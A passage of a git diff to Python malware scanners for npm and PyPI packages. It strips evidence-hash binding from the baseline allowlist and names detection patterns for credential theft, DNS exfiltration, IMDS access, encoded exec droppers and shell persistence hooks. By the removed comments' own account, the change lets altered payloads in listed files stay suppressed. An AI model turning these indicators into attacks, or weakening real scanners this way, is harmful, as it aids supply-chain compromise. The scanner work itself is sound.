"_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "package-relative path, pattern, evidence hash); a new payload under " - "an already-listed package/path/pattern reopens. severity is for " - "review only. Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern); evidence/severity are for review " + "only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": _BASELINE_SCHEMA_VERSION, "entries": entries, @@ -2023,7 +1556,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 6ed3cedef9..61d8e74023 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 3, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 2, "entries": [] } diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index 73f6ff2291..4be9fc5efb 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -43,10 +43,9 @@ False positives: examples and `>>>` doctests cannot trip a finding. Residual findings that are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored test fixture) are suppressed via a reviewed baseline allowlist, matched on - (package, package-relative file, check, evidence hash). A new check, or - changed flagged code under the same check, reopens the finding; version - bumps and line shifts do not. This mirrors the Hugging Face Hub approach - (ClamAV/picklescan: low-FP, signature/structural, surface status). + (package, basename(file), check). A NEW kind of finding in an already-listed + file is a different check and still fails. This mirrors the Hugging Face Hub + approach (ClamAV/picklescan: low-FP, signature/structural, surface status). Exit codes: 0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline) @@ -56,8 +55,6 @@ Exit codes: import argparse import atexit -import bisect -import hashlib import io import json import os @@ -159,9 +156,6 @@ RE_EMBEDDED_KEYS = re.compile( re.DOTALL, ) -# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence. -RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL) - # Cloud metadata / IMDS endpoints RE_CLOUD_METADATA = re.compile( r"169\.254\.169\.254" # AWS/Azure/GCP IMDS @@ -482,26 +476,22 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Large base64 blob if RE_LARGE_BLOB.search(content): - # Digest every blob (not just the first 120 chars, and not just the - # first blob), so a later payload that keeps the prefix or appends a - # second encoded blob reopens. - blob, digest = _blob_digest(content) + blob = RE_LARGE_BLOB.search(content).group() findings.append( Finding( CRITICAL, package, filename, f".pth has large base64-like blob ({len(blob)} chars)", - f"{blob[:120]}... sha256:{digest}", + blob[:120] + "...", ) ) - # Catch-all: any import line in .pth if nothing else triggered. Bind every - # line through a digest so an appended/swapped import reopens the key, but cap - # the displayed text so a large .pth of benign-looking imports cannot dump up - # to the archive member cap into the logs or baseline JSON. + # Catch-all: any import line in .pth if nothing else triggered if not findings and import_lines: - evidence = _cap_line("\n".join(import_lines)) + evidence = "\n".join(import_lines[:5]) + if len(import_lines) > 5: + evidence += f"\n... ({len(import_lines)} import lines total)" findings.append( Finding( HIGH, @@ -515,15 +505,13 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes) size = len(content) if size > 500 and import_lines: - # Pin the content so a different payload of the same size/import count reopens. - digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() findings.append( Finding( HIGH, package, filename, f"Unusually large executable .pth ({size} bytes)", - f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}", + f"{len(import_lines)} import line(s) in {size}-byte .pth file", ) ) @@ -641,13 +629,6 @@ def _hidden_payload_findings( removed = "".join(o if o != s else " " for o, s in zip(original, code)) out = [] - # The visible exec/eval line is what makes the hidden string executable, so - # bind it into every finding's evidence: otherwise a reviewed false positive - # that keeps the same hidden text but flips a harmless `eval("1+1")` to - # `exec(__doc__)` (now running the payload) keeps the same key and stays - # suppressed. Taken from `stripped` (real code), where the exec/eval lives. - trigger = _extract_evidence(stripped, RE_EXEC_EVAL) - def _hidden(pat): # Carrier present in a blanked region but NOT in real code. A carrier in # real code is already caught by the normal check, so restricting to @@ -662,7 +643,7 @@ def _hidden_payload_findings( package, filename, "exec/eval with payload hidden in a docstring/string", - f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}", + f"{label}: {_extract_evidence(removed, pat)}", ) ) # Fetch-then-run dropper: a network call AND an os/subprocess exec that both @@ -676,9 +657,7 @@ def _hidden_payload_findings( package, filename, "exec/eval with hidden network+exec payload", - f"exec: {trigger}\n" - f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | " - f"{_extract_evidence(removed, RE_SUBPROCESS)}", + f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}", ) ) return out @@ -738,19 +717,14 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # openssl encryption + network/key material (encrypted exfiltration) if has_openssl_cli and (has_network or has_keys): - # Bind whichever side(s) co-occur so a changed endpoint or key reopens. - evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"] - if has_network: - evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") - if has_keys: - evidence.append(f"Key: {_embedded_key_evidence(content)}") findings.append( Finding( CRITICAL, package, filename, "openssl encryption + network/key material (encrypted exfiltration)", - "\n".join(evidence), + f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) @@ -922,10 +896,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # Obfuscated payload: base64 + exec/eval + large blob if has_base64 and has_exec_eval and has_blob: - # Digest every blob too: a payload may sit on a separate line from the - # decode call, and a second encoded blob may be appended later, so - # binding only the base64/exec lines or the first blob would miss it. - _, blob_digest = _blob_digest(content) findings.append( Finding( HIGH, @@ -933,8 +903,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: filename, "base64 decode + exec/eval + large encoded blob", f"Base64: {_extract_evidence(content, RE_BASE64)}\n" - f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n" - f"Blob: sha256:{blob_digest}", + f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}", ) ) @@ -959,48 +928,32 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key + network calls (encrypted exfil pattern)", - f"Key: {_embedded_key_evidence(content)}\n" + f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n" f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) # Anti-analysis + any other suspicious pattern if has_anti and (has_network or has_subprocess or has_exec_eval): - # Bind the suspicious side too so a changed payload reopens. - evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"] - if has_network: - evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") - if has_subprocess: - evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}") - if has_exec_eval: - evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}") findings.append( Finding( HIGH, package, filename, "Anti-analysis/sandbox evasion + suspicious behavior", - "\n".join(evidence), + f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}", ) ) # DNS exfiltration with dynamic hostnames if has_dns_exfil and (has_base64 or has_network or has_creds): - # Bind the co-occurring side so a changed exfil channel reopens. - evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"] - if has_base64: - evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}") - if has_network: - evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") - if has_creds: - evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}") findings.append( Finding( HIGH, package, filename, "DNS exfiltration / tunneling patterns", - "\n".join(evidence), + _extract_evidence(content, RE_DNS_EXFIL), ) ) @@ -1111,7 +1064,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key material", - _embedded_key_evidence(content), + _extract_evidence(content, RE_EMBEDDED_KEYS), ) ) @@ -1154,349 +1107,39 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: return findings -_MAX_MULTILINE_LINES = 12 -# How far a single matched call is followed over its bracket continuations. A call -# that genuinely closes is bound all the way to its real close, up to the hard -# limit, so a ``requests.post(`` with many option/header lines before ``data=`` -# binds its whole argument list in the digest and a changed payload on a late -# continuation line reopens (a 40-line soft cap would hash only the first 40 lines -# and let a later ``data=``/headers change ride the baseline key). A bracket that -# never closes within the hard limit is a miscount (a multi-line string the -# single-line blanker cannot mask) or a stray opener, so it is bound only to the -# soft cap and cannot swallow unrelated code. -_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed -_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it - -# Cap a single rendered line. A short line is shown verbatim; a long (e.g. -# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full -# line, so a packed payload cannot dump unbounded content into the evidence and -# baseline while a change past the cutoff still changes the digest and reopens the -# finding. The npm scanner bounds its snippets the same way. -_MAX_LINE_CHARS = 200 -# Cap on recorded spans in one evidence string; beyond it the remaining spans are -# folded into a digest so a file with thousands of matching lines cannot build a -# multi-megabyte evidence blob, while an added/removed span past the cap still -# changes the key. Comfortably above the largest real baseline entry. -_MAX_EVIDENCE_SPANS = 96 - - -def _cap_line(code: str) -> str: - """Bound a single line's displayed code: return it verbatim when short, else a - ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still - pinned (fail-closed) without recording the entire line.""" - if len(code) <= _MAX_LINE_CHARS: - return code - digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() - return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}" - - -_PY_TRIPLE = ("'''", '"""') - - -def _ends_with_odd_backslash(s: str) -> bool: - """True if ``s`` ends with an odd run of backslashes, i.e. a trailing - backslash that escapes the newline (a string/line continuation) rather than a - literal ``\\\\`` pair.""" - return (len(s) - len(s.rstrip("\\"))) % 2 == 1 - - -# Single-line quoted string literal; blanks complete one-line strings (the legacy -# view) so the single-line and multi-line blanked spans can be unioned below. -_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"") - - -def _blank_code_strings(lines: list[str]) -> list[str]: - """Replace string contents (single- and triple-quoted, escapes honoured) with - spaces across ``lines``, keeping the line count and every bracket OUTSIDE a - string intact. Bracket counting then never miscounts a ``)`` that lives inside - a string -- including a triple-quoted string spanning several lines, which a - per-line regex cannot blank.""" - out: list[str] = [] - in_triple: str | None = None # active ''' or \"\"\" delimiter, or None - in_string: str | None = None # active ' or " continued via a trailing backslash - for line in lines: - buf: list[str] = [] - i, n = 0, len(line) - while i < n: - if in_triple is not None: - end = line.find(in_triple, i) - if end == -1: - buf.append(" " * (n - i)) - i = n - else: - buf.append(" " * (end - i + 3)) - i = end + 3 - in_triple = None - continue - if in_string is not None: - # A single-/double-quoted string continued onto this line by a - # backslash-escaped newline. Resume blanking until its closing quote; - # if this line also ends on an odd trailing backslash the string - # continues again, otherwise it closes (or is unterminated) here. A - # per-line regex blanker cannot see this, so a `)` on the - # continuation line would otherwise be counted as code and close the - # call early -- dropping the URL/body lines that follow. - j, closed = i, False - while j < n: - if line[j] == "\\": - j += 2 - continue - if line[j] == in_string: - j += 1 - closed = True - break - j += 1 - buf.append(" " * (min(j, n) - i)) - if closed: - in_string = None - i = j - else: - i = n - if not _ends_with_odd_backslash(line): - in_string = None # unterminated without continuation; stop - continue - ch = line[i] - if ch in "'\"": - if line[i : i + 3] in _PY_TRIPLE: - delim = line[i : i + 3] - end = line.find(delim, i + 3) - if end == -1: # opens a triple string that runs past this line - buf.append(" " * (n - i)) - in_triple = delim - i = n - else: - buf.append(" " * (end - i + 3)) - i = end + 3 - continue - j = i + 1 # single-line string; skip to its closing quote - closed = False - while j < n: - if line[j] == "\\": - j += 2 - continue - if line[j] == ch: - j += 1 - closed = True - break - j += 1 - buf.append(" " * (min(j, n) - i)) - if closed: - i = j - else: - # Ran off the line without closing: an odd trailing backslash - # escapes the newline and continues the string onto the next - # line, so remember the quote; otherwise it is just unterminated. - i = n - if _ends_with_odd_backslash(line): - in_string = ch - continue - buf.append(ch) - i += 1 - out.append("".join(buf)) - return out - - -_RE_BRACKETS = re.compile(r"[()\[\]{}]") -_OPENERS = frozenset("([{") - - -def _bracket_lr(line: str) -> tuple[int, int]: - """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` - where ``L`` is the count of closers with no opener earlier on the line (they - need an opener to the LEFT / a prior line) and ``R`` is the count of openers - with no closer later on the line (they need a closer to the RIGHT / a later - line). A plain net count (opens minus closes) collapses order and so masks a - trailing opener that follows leading closers on the same line, e.g. - ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged - call; tracking the running minimum keeps that opener visible so the call's - argument lines still bind. Only bracket characters are walked (pulled out with - one C-level regex pass) so a long minified line stays cheap.""" - depth = 0 - low = 0 - for ch in _RE_BRACKETS.findall(line): - if ch in _OPENERS: - depth += 1 - else: - depth -= 1 - if depth < low: - low = depth - return -low, depth - low - - -def _scan_line_end(view: list[str], start: int) -> int: - """1-based line where the statement at ``start`` closes its brackets in - ``view`` (one blanked view of the file). A call that closes is followed to its - real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a - bracket that never closes within that hard limit (a stray/miscounted opener) is - bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file. - Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0) - so a closer that precedes the opener on the same line does not cancel it.""" - depth = 0 - hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1) - for j in range(start, hard + 1): - ln = view[j - 1] - left, right = _bracket_lr(ln) - depth = max(0, depth - left) + right - if ln.rstrip().endswith("\\"): - continue # explicit backslash continuation: the call (e.g. its `(` and - # URL/body) is on the next physical line, so do not close here - if depth <= 0: - return j - # Never closed within the hard limit: bind only the soft cap so a stray opener - # cannot bind a giant unrelated span. - return min(len(view), start + _MAX_CALL_LINES - 1) - - -def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int: - """1-based line where the statement opened at ``start`` closes, so a multi-line - call binds its argument lines (a changed URL/body on a continuation line - reopens, not just the API line). Returns the LARGER of the spans found in the - single-line-blanked view (legacy: a payload embedded inside a string still - counts, so its brackets bind the call) and the multi-line-blanked view (a - bracket inside a triple-quoted string argument no longer closes the call - early). Taking the union never shrinks the bound span below either view, so - neither blanking strategy can drop a continuation line a malicious change - relies on.""" - return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start)) - - def _extract_evidence( content: str, pattern: re.Pattern, - max_matches: int = 0, + max_matches: int = 3, ) -> str: - """Pull matching lines as evidence snippets (``max_matches=0`` means all). + """Pull matching lines as evidence snippets. - Records every matching line in full, not a truncated sample, so an extra - match (or extra code on a long line) appended to an already-flagged file - changes the evidence and the baseline key instead of riding the first few. - Leading whitespace is kept so a flagged line moved out of a guarded block - reads as changed. Each single-line match is extended over bracket - continuations so a multi-line call binds its argument lines too. Cross-line - matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line - construct appended under a check that already had a one-line match) are - recorded afterwards, so an added multiline payload reopens the finding. A - pathological greedy span is bounded to its head line plus a digest of the - rest. + Falls back to a whole-content search when the pattern only matches across + line boundaries (several IOC regexes use ``re.DOTALL``). Without this an + anti-analysis / archive-staging finding could report empty evidence, making + the baseline entry impossible to review. """ lines = content.splitlines() - sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines] - ml_blanked = _blank_code_strings(lines) - out = [] - seen: set[tuple[int, int]] = set() - # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS - # rendered spans, every further span is folded straight into a running digest - # instead of being materialized and sliced off at the end. On a minified or - # padded file with hundreds of thousands of matching lines that keeps memory - # and work bounded to the display cap rather than the match count, while the - # digest still covers every overflow span so an over-cap payload change - # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly - # (strip each span to its non-empty L-less code lines, join with "\n"), so - # the digest is identical to buffering the whole list and canonicalizing once. - overflow_count = 0 - overflow_hash = hashlib.sha256() - overflow_started = False - - def _emit(rendered: str) -> None: - nonlocal overflow_count, overflow_started - if len(out) < _MAX_EVIDENCE_SPANS: - out.append(rendered) - return - overflow_count += 1 - for piece in _RE_EVIDENCE_SPLIT.split(rendered): - piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip() - if not piece: - continue - if overflow_started: - overflow_hash.update(b"\n") - overflow_hash.update(piece.encode("utf-8", "replace")) - overflow_started = True - - def _render(start: int, end: int) -> str: - span = lines[start - 1 : end] or [""] - if len(span) > _MAX_MULTILINE_LINES: - # Digest the code without the L: markers so a pure line shift of - # the same span stays stable while a code change still reopens. The - # head is truncated for display only; the span digest already binds - # its full content, so no per-line digest is needed here. - code = "\n".join(ln.rstrip() for ln in span) - digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() - head = span[0].rstrip() - if len(head) > _MAX_LINE_CHARS: - head = head[:_MAX_LINE_CHARS] + "..." - return f"L{start}: {head} sha256:{digest}" - return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span)) - + matches = [] for i, line in enumerate(lines, 1): if pattern.search(line): - span = (i, _logical_line_end(sl_blanked, ml_blanked, i)) - if span in seen: - continue - # Only track spans while still filling the display list: past the cap - # every span is folded into the overflow digest, so growing `seen` with - # all of them would keep memory proportional to the match count (the - # behavior this cap exists to bound) on a generated file with millions - # of one-line matches. The per-line spans are unique by line number, so - # dropping them from `seen` past the cap cannot cause a missed dedup - # here; at worst the fallback re-folds an over-cap span into the same - # digest, which stays deterministic and still reopens on a change. - if len(out) < _MAX_EVIDENCE_SPANS: - seen.add(span) - _emit(_render(*span)) - if max_matches and len(out) >= max_matches: - return " | ".join(out) - - # Precompute newline offsets once so mapping a match offset to its 1-based line - # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter - # made this fallback quadratic on a minified file with thousands of matches. - nl = [p for p, ch in enumerate(content) if ch == "\n"] - for m in pattern.finditer(content): - start = bisect.bisect_left(nl, m.start()) + 1 - end = bisect.bisect_left(nl, m.end()) + 1 - if end <= start or (start, end) in seen: - continue # single-line matches are already covered by the pass above - # A giant greedy DOTALL span is bound by the full digest of its content - # (via _render, which renders a >12-line span as a head line plus a sha256 - # of the whole span). Binding only the anchors leaves the bridged interior - # unhashed, so an attacker could insert a new cross-line payload (a `/tmp` - # line and a later `subprocess` line, sharing no single line so the - # per-line pass never binds them) between unchanged outer anchors and keep - # the same key. Digesting the interior reopens on any such change; a pure - # line shift stays stable because the digest is over the markerless code. - if len(out) < _MAX_EVIDENCE_SPANS: - seen.add((start, end)) - _emit(_render(start, end)) - if max_matches and len(out) >= max_matches: - break - if overflow_count: - # The overflow digest was accumulated from the canonicalized (L:-less) - # spans as they were emitted, so a pure line shift above the overflow - # region does not change it and reopen an otherwise-unchanged finding, - # matching the per-span key's line-shift stability. - out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") - return " | ".join(out) - - -def _embedded_key_evidence(content: str) -> str: - """Key evidence that also pins the full PEM block(s) via a digest, so a key - body swapped under the same BEGIN marker reopens the finding (single-line and - DER keys are already bound by their full matched line).""" - ev = _extract_evidence(content, RE_EMBEDDED_KEYS) - blocks = RE_PEM_BLOCK.findall(content) - if blocks: - digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest() - ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}" - return ev - - -def _blob_digest(content: str) -> tuple[str, str]: - """First large blob (for display) plus a digest binding EVERY large blob, so - an appended or swapped encoded payload reopens the finding rather than riding - an unchanged first blob. Assumes at least one blob is present (single-blob - files keep the prior single-blob digest, so the baseline does not drift).""" - blobs = RE_LARGE_BLOB.findall(content) - digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest() - return blobs[0], digest + snippet = line.strip() + if len(snippet) > 160: + snippet = snippet[:160] + "..." + matches.append(f"L{i}: {snippet}") + if len(matches) >= max_matches: + break + if matches: + return " | ".join(matches) + # Multiline (DOTALL) match: report the line where the match begins. + m = pattern.search(content) + if m: + line_no = content.count("\n", 0, m.start()) + 1 + snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else "" + if len(snippet) > 160: + snippet = snippet[:160] + "..." + return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: " + return "" # Non-Python checkers @@ -1546,8 +1189,7 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "JS embeds credential regexes AND makes network calls (stealer)", - f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" - f"Network: {_extract_evidence(content, RE_NETWORK)}", + _extract_evidence(content, RE_TOKEN_REGEX), ) ) if has_workflow_inj: @@ -1560,31 +1202,17 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: _extract_evidence(content, RE_WORKFLOW_INJECT), ) ) - # Pin the whole file's content digest to EVERY JS finding (not just large - # bundles). _extract_evidence blanks only Python string forms before counting - # brackets, so a JS backtick template literal that contains `)` can close a - # call's span early and omit the option/body lines that follow; binding the - # full content means a change to those omitted lines still reopens instead of - # riding the matched-line evidence. A large bundle with no other heuristic is a - # standalone HIGH. - if findings or is_large: - digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() - if findings: - for f in findings: - f.evidence = f"{f.evidence} bundle-sha256:{digest}" - else: - findings.append( - Finding( - HIGH, - package, - filename, - # Size stays out of the check label (from main) so the baseline - # key does not drift when a benign bundle grows; the full-content - # digest below still binds the bytes so a payload swap reopens. - "Python wheel ships large JS bundle (uncommon; manually review)", - f"sha256: {digest}", - ) + if is_large and not findings: + findings.append( + Finding( + HIGH, + package, + filename, + f"Python wheel ships large ({len(content) // 1024} KB) JS bundle " + "(uncommon; manually review)", + "", ) + ) return findings @@ -1604,12 +1232,6 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] if RE_DEV_TOOL_HIJACK.search(content) and ( RE_NETWORK.search(content) or RE_SUBPROCESS.search(content) ): - # Bind the hook AND the network/exec signal so a changed exfil reopens. - evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"] - if RE_NETWORK.search(content): - evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") - if RE_SUBPROCESS.search(content): - evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}") findings.append( Finding( CRITICAL, @@ -1617,7 +1239,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] filename, "Shell installs developer-tool persistence hook (.bashrc / " "profile.d / vscode tasks) AND has network or exec", - "\n".join(evidence), + _extract_evidence(content, RE_DEV_TOOL_HIJACK), ) ) if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content): @@ -1627,8 +1249,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] package, filename, "Shell embeds credential regexes AND makes network calls", - f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" - f"Network: {_extract_evidence(content, RE_NETWORK)}", + _extract_evidence(content, RE_TOKEN_REGEX), ) ) if RE_WORKFLOW_INJECT.search(content): @@ -2895,9 +2516,9 @@ def _find_requirements_files(root: str) -> list[str]: # Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can # enforce without drowning in legitimate-library noise. Matched on -# (package, package-relative file, check, evidence hash); the hash strips -# ``L:`` markers so version bumps and line shifts do not reopen an entry, -# but changed flagged code does. Regenerate with ``--write-baseline``. +# ``(package, basename(filename), check)`` -- not evidence text -- so a version +# bump does not reopen a finding, but a *new* kind of finding in a listed file +# is a different check and still fails. Regenerate with ``--write-baseline``. _DEFAULT_BASELINE_PATH = os.path.join( os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json" @@ -2924,54 +2545,16 @@ def _relpath_in_package(filename: str) -> str: return _RE_SDIST_ROOT.sub("", filename, count = 1) -# Evidence joins matched spans with " | " and a newline between labelled groups, -# each span tagged "L: ". Split only on those real delimiters (a " | " before -# a marker, or a newline), never on a bare "|" -- matched code may contain a -# bitwise-or or union type. The prefix strips only a genuine leading marker, an -# optional "Label: " then "L: "; a marker-like "L:" inside raw code (e.g. -# a .pth import line) has no leading marker and is left intact. -_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n") -_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?") +def _finding_key(f: Finding) -> tuple[str, str, str]: + """Stable allowlist key: normalized package, package-relative path, check. - -def _canon_evidence(evidence: str) -> str: - """Matched code lines in discovery order (markers removed), duplicates kept. - - Splits evidence on its real span delimiters, drops each span's leading - label / line-number marker, and keeps the code with its indentation. Line - shifts are absorbed by stripping the L: markers, not by sorting, so order - stays significant: reordering matched lines (executable context, e.g. the - arguments of a multi-line call) reopens the finding. Keeping duplicates means - an appended identical occurrence still changes the key.""" - spans = [] - for s in _RE_EVIDENCE_SPLIT.split(evidence or ""): - s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip() - if s: - spans.append(s) - return "\n".join(spans) - - -def _evidence_hash(evidence: str) -> str: - """Stable digest of the canonical matched evidence.""" - return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest() - - -def _finding_key(f: Finding) -> tuple[str, str, str, str]: - """Allowlist key: package, package-relative path, check, evidence hash. - - The evidence hash is over the set of matched code, so the key survives version - bumps, line shifts and reordering but reopens when the flagged code changes -- - so a future payload in a baselined file/check is not auto-suppressed. + The package-relative path (not just basename) keeps the key stable across + version bumps while still distinguishing same-named files like ``utils.py``. """ - return ( - _norm_pkg(f.package), - _relpath_in_package(f.filename), - f.check, - _evidence_hash(f.evidence), - ) + return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check) -def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: +def _load_baseline(path: str) -> set[tuple[str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -2981,47 +2564,19 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() - if not isinstance(data, dict): - print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) - return set() - entries = data.get("entries", []) - if not isinstance(entries, list): - print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) - return set() - keys: set[tuple[str, str, str, str]] = set() - legacy = 0 - for e in entries: - if not isinstance(e, dict): - continue + keys: set[tuple[str, str, str]] = set() + for e in data.get("entries", []): try: - # Use the reviewed hash; else recompute it from the stored evidence. - evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") - if not e.get("evidence_hash"): - legacy += 1 - keys.add( - ( - _norm_pkg(e["package"]), - _relpath_in_package(e["file"]), - e["check"], - evidence_hash, - ) - ) + keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"])) except (KeyError, TypeError): continue - if legacy: - print( - f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " - f"not suppress until regenerated with --write-baseline (findings reopen " - f"rather than risk hiding changed code under a coarse key)", - file = sys.stderr, - ) return keys def _write_baseline(path: str, findings: list[Finding]) -> None: """Persist CRITICAL/HIGH findings as an allowlist for human triage.""" entries = [] - seen: set[tuple[str, str, str, str]] = set() + seen: set[tuple[str, str, str]] = set() for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)): if f.severity not in (CRITICAL, HIGH): continue @@ -3035,18 +2590,15 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: "file": _relpath_in_package(f.filename), "check": f.check, "severity": f.severity, - "evidence": f.evidence, - "evidence_hash": _evidence_hash(f.evidence), + "evidence": f.evidence[:240], } ) doc = { "_comment": ( "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding " "manually judged benign. Matched on (package, package-relative file, " - "check, evidence_hash); evidence_hash is over the matched code with " - "L: markers stripped, so version bumps and line shifts do not " - "reopen an entry but changed code does. severity and evidence are for " - "review only. Regenerate with --write-baseline AFTER reviewing every line." + "check); evidence/severity are for review only. Regenerate with " + "--write-baseline AFTER reviewing every line." ), "version": 1, "entries": entries, @@ -3058,7 +2610,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None: def _partition_baseline( - findings: list[Finding], baseline: 